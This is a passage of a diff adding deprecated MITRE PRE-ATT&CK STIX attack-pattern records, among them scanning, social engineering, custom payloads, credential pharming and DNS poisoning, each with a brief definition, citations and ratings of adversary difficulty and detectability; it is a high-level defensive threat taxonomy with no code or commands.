"name": "Compromise 3rd party infrastructure to support delivery", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "attack-pattern--e51398e6-53dc-4e9f-a323-e54683d8672b", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--5a68c603-d7f9-4535-927e-ab56819eaa85", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Compromise 3rd party or closed-source vulnerability/exploit information", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1354).\n\nThere is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1354", + "external_id": "T1354" + }, + { + "source_name": "TempertonDarkHotel", + "description": "Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.", + "url": "https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_old_attack_id": "PRE-T1131", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Finding, attacking, and compromising a 3rd party or closed vulnerability entity is challenging, because those containing the vulnerabilities should be very aware of attacks on their environments have a heightened awareness.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_detectable_by_common_defenses_explanation": "The compromise of unknown vulnerabilities would provide little attack and warning against a defender, rendering it highly challenging to detect.", + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--4aeafdb3-eb0b-4e8e-b93f-95cd499088b4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Compromise of externally facing system", + "description": "**This technique has been deprecated. Please use [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nExternally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1388", + "url": "https://attack.mitre.org/techniques/T1388" + }, + { + "description": "CYLANCE. (n.d.). Operation Cleaver. Retrieved March 6, 2017.", + "source_name": "CylanceOpCleaver" + }, + { + "description": "Jason Mick. (2011, July 12). AntiSec Exposes U.S. Soldiers' S/Ns, Passwords, Vows Attack on Monsanto. Retrieved March 9, 2017.", + "source_name": "DailyTechAntiSec" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "compromise" + } + ], + "modified": "2020-03-30T14:16:12.162Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1165", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "DMZ environments are specifically designed to be isolated because one assumes they will ultimately be compromised by the adversary.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Most DMZs are monitored but are also designed so that if they are compromised, the damage/risk is limited.", + "x_mitre_deprecated": true, + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "id": "attack-pattern--7f2d3da6-7e34-44a3-9e7f-905455339726", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Conduct active scanning", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1254).\n\nActive scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1254", + "external_id": "T1254" + }, + { + "source_name": "RSA-APTRecon", + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "This technique is an expected and voluminous activity when on the Internet. Active scanning techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute. The high volume of this activity makes it burdensome for any defender to chase and therefore often ignored.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Various available tools and data sources for scouting and detecting address, routing, version numbers, patch levels, protocols/services running, etc.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1031", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--51bca707-a806-49bf-91e0-03885b0ac85c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Conduct cost/benefit analysis", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1226).\n\nLeadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)", + "external_references": [ + { + "external_id": "T1226", + "url": "https://attack.mitre.org/techniques/T1226", + "source_name": "mitre-pre-attack" + }, + { + "description": "Mark M. Lowenthal. (n.d.). Ch 4: The Intelligence Process--A Macro Look; Who Does What for Whome?, Intelligence: From Secrets to Policy. Retrieved March 2, 2017.", + "source_name": "LowenthalCh4" + }, + { + "description": "Jan P. Herring. (1999). Key Intelligence Topics: A Process to Identify and Define Intelligence Needs. Retrieved May 19, 2017.", + "source_name": "KIT-Herring" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "phase_name": "priority-definition-planning", + "kill_chain_name": "mitre-pre-attack" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_old_attack_id": "PRE-T1003", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--a7c620e5-cbc9-41b2-9695-418ef560f16c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Conduct passive scanning", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1253).\n\nPassive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1253", + "external_id": "T1253" + }, + { + "source_name": "SurveyDetectionStrategies", + "description": "Jamal Raiyn. (2014). A survey of Cyber Attack Detection Strategies. Retrieved March 5, 2017." + }, + { + "source_name": "CyberReconPaper", + "description": "H. P. Sanghvi and M. S. Dahiya. (2013, February). Cyber Reconnaissance: An Alarm before Cyber Attack. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Generates no network traffic that would enable detection.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Easy to do but it requires a vantage point conducive to accessing this data.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1030", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--a757670d-d600-48d9-8ae9-601d42c184a5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Conduct social engineering", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1279).\n\nSocial Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1279", + "external_id": "T1279" + }, + { + "source_name": "SEAttackVectors", + "description": "Mathew J. Schwartz. (2011, September 14). Social Engineering Leads APT Attack Vectors. Retrieved March 5, 2017." + }, + { + "source_name": "BeachSE2003", + "description": "Gary Beach. (2003, October 1). Kevin Mitnick on Social Engineering Hackers. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1056", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--af358cad-eb71-4e91-a752-236edc237dae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Conduct social engineering", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1268).\n\nSocial Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1268", + "external_id": "T1268" + }, + { + "source_name": "SEAttackVectors", + "description": "Mathew J. Schwartz. (2011, September 14). Social Engineering Leads APT Attack Vectors. Retrieved March 5, 2017." + }, + { + "source_name": "BeachSE2003", + "description": "Gary Beach. (2003, October 1). Kevin Mitnick on Social Engineering Hackers. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1045", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--74a3288e-eee9-4f8e-973a-fbc128e033f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Conduct social engineering", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1249).\n\nSocial Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1249", + "external_id": "T1249" + }, + { + "source_name": "SEAttackVectors", + "description": "Mathew J. Schwartz. (2011, September 14). Social Engineering Leads APT Attack Vectors. Retrieved March 5, 2017." + }, + { + "source_name": "BeachSE2003", + "description": "Gary Beach. (2003, October 1). Kevin Mitnick on Social Engineering Hackers. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "No technical means to detect an adversary collecting technical information about a target. Any detection would be based upon strong OPSEC policy implementation.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1026", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--b79a1960-d0be-4b51-bb62-b27e91e1dea0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Conduct social engineering or HUMINT operation", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nSocial Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1376", + "url": "https://attack.mitre.org/techniques/T1376" + }, + { + "description": "Chris Johnston. (2015, February 5). Company loses $17m in email scam. Retrieved March 9, 2017.", + "source_name": "17millionScam" + }, + { + "description": "Robert Hackett. (2015, August 10). Fraudsters duped this company into handing over $40 million. Retrieved March 9, 2017.", + "source_name": "UbiquityEmailScam" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "modified": "2020-03-30T14:16:46.619Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1153", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Assuming an average adversary whose focus is social engineering, it is not difficult for an adversary. Assuming a HUMINT operation and specialized circumstances, the adversary difficulty becomes 1. Social engineering can be easily done remotely via email or phone. In contrast, HUMINT operations typically would require physical contact at some point in the process, increasing the difficulty.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Assuming an average company does not train its employees to be aware of social engineering techniques, it is not possible to detect the adversary's use unless a highly motivated or paranoid employee informs security. This assessment flips to a 1 in cases of environments where security trains employees to be vigilant or in specialized industries where competitive intelligence and business intelligence train employees to be highly aware. Most likely more complex for an adversary to detect as methods move to physical or non traditionally monitored mechanisms (such as phone calls outside of call centers). Furthermore, the content of such an interaction may be lost due to lack of collection.", + "x_mitre_deprecated": true, + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "id": "attack-pattern--f4c5d1d9-8f0e-46f1-a9fa-f9a440926046", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Confirmation of launched compromise achieved", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nUpon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1383", + "url": "https://attack.mitre.org/techniques/T1383" + }, + { + "description": "carlota. (2014, November 12). Stages of a Malware Infection. Retrieved April 1, 2017.", + "source_name": "FireEye Malware Stages" + }, + { + "description": "Nart Villeneuve and James Bennett. (2012). Detecting APT Activity with Network Traffic Analysis. Retrieved March 9, 2017.", + "source_name": "APTNetworkTrafficAnalysis" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "compromise" + } + ], + "modified": "2020-03-30T14:17:12.000Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1160", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Certainty of the confirmation of compromise is not guaranteed unless the adversary sees communication to a command and control server, exfiltration of data, or an intended effect occur.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Current commercial tools and sensitive analytics can be used to detect communications to command and control servers or data exfiltration.", + "x_mitre_deprecated": true, + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "id": "attack-pattern--a425598d-7c19-40f7-9aa3-ac20f0d5c2b2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Create backup infrastructure", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1339).\n\nBackup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1339", + "external_id": "T1339" + }, + { + "source_name": "LUCKYCAT2012", + "description": "Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be obvious to those being attacked.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], commercial storage solutions).", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1116", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--fddd81e9-dd3d-477e-9773-4fb8ae227234", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Create custom payloads", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1345).\n\nA payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1345", + "external_id": "T1345" + }, + { + "source_name": "APT1", + "description": "Mandiant. (n.d.). APT1: Exposing One of China\u2019s Cyber Espionage Units. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "It is likely that an adversary will create and develop payloads on inaccessible or unknown networks for OPSEC reasons.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_difficulty_for_adversary_explanation": "Specialized tools exist for research, development, and testing of virus/malware payloads.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1122", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--b355817c-cf63-43b4-94a4-05e9645fa910", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Create implementation plan", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1232).\n\nImplementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1232", + "external_id": "T1232" + }, + { + "source_name": "ChinaCollectionPlan", + "description": "Thomas B Inglis. (1946, December 31). COLLECTION PLAN TO IMPLEMENT NATIONAL INTELLIGENCE REQUIREMENTS FOR CHINA. Retrieved March 2, 2017." + }, + { + "source_name": "OrderOfBattle", + "description": "Wikipedia contributors. (2016, November 20). Order of battle. Retrieved March 2, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1009", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-planning" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--eacadff4-164b-451c-bacc-7b29ebfd0c3f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Create infected removable media", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1355).\n\nUse of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1355", + "external_id": "T1355" + }, + { + "source_name": "BadUSB", + "description": "Security Research labs. (n.d.). BadUSB Exposure. Retrieved March 9, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but development will be performed on their local systems.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Several exploit repositories and tool suites exist for re-use and tailoring.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1132", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--ec739e26-d097-4804-b04a-54dd81ff11e0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Create strategic plan", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1231).\n\nStrategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1231", + "external_id": "T1231" + }, + { + "source_name": "KPMGChina5Year", + "description": "KPMG. (2016, October 19). China\u2019s 13th Five-Year Plan signals a potential new era of Sino-foreign cooperation, finds KPMG report. Retrieved March 2, 2017." + }, + { + "source_name": "China5YearPlans", + "description": "Wikipedia contributors. (2017, February 8). Five-year plans of China. Retrieved March 2, 2017." + }, + { + "source_name": "ChinaUN", + "description": "People's Republic of China. (2015, November). China's 13th Five-Year Plan. Retrieved May 19, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1008", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-planning" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--38a6d2f5-d948-4235-bb91-bb01604448b4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Credential pharming", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nCredential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1374", + "url": "https://attack.mitre.org/techniques/T1374" + }, + { + "description": "Ellen Messmer. (2008, January 22). First case of \"drive-by pharming\" identified in the wild. Retrieved March 2, 2017.", + "source_name": "DriveByPharming" + }, + { + "description": "Nick Johnston. (2014, March 13). Google Docs Users Targeted by Sophisticated Phishing Scam. Retrieved March 29, 2017.", + "source_name": "GoogleDrive Phishing" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "modified": "2020-03-30T14:18:16.035Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1151", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Although it can be difficult to spoof/redirect content to a hostile service via DNS poisoning or MiTM attacks, current malware such as Zeus is able to successfully pharm credentials and end users are not well-versed in checking for certificate mismatches.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Fidelity of networking monitoring must be able to detect when traffic is diverted to non-normal sources at a site level. It is possible to identify some methods of pharming, but detection capabilities are limited and not commonly implemented.", + "x_mitre_deprecated": true, + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "id": "attack-pattern--76c9e8cb-52e1-4ddc-80d4-5f7231842e06", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "DNS poisoning", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nDNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. 